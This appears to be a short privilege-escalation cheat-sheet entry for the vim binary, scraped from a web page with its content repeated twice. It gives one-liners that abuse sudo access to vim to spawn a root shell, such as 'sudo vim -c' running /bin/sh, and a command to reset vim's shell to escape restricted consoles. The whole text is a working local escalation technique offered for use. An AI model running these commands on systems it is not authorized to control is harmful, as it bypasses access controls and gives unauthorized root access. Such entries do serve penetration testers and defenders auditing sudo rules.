/usr/bin/vim
One liner to get root:
sudo vim -c ':!/bin/sh'
Alternative:
sudo -u root vim -c '!sh'
#From interactive console, escape restrictions:
:set shell=/bin/bash
Last updated
One liner to get root:
sudo vim -c ':!/bin/sh'
Alternative:
sudo -u root vim -c '!sh'
#From interactive console, escape restrictions:
:set shell=/bin/bash
Last updated